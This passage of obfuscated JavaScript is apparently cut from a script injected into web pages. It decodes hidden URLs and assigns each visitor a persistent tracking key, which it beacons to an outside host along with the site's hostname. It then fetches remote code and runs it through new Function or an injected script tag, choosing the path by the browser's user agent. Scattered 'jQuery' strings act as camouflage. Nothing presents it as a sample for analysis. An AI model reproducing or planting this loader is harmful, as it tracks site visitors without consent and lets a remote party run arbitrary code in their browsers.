Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=fdnSA,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=HecRD(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9328/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=HecRD(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnZ5aXBueC5jbiUzzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iiaGVhZS5jb20lM0E5NTM1','8881',window,document,['z','i']);}:function(){};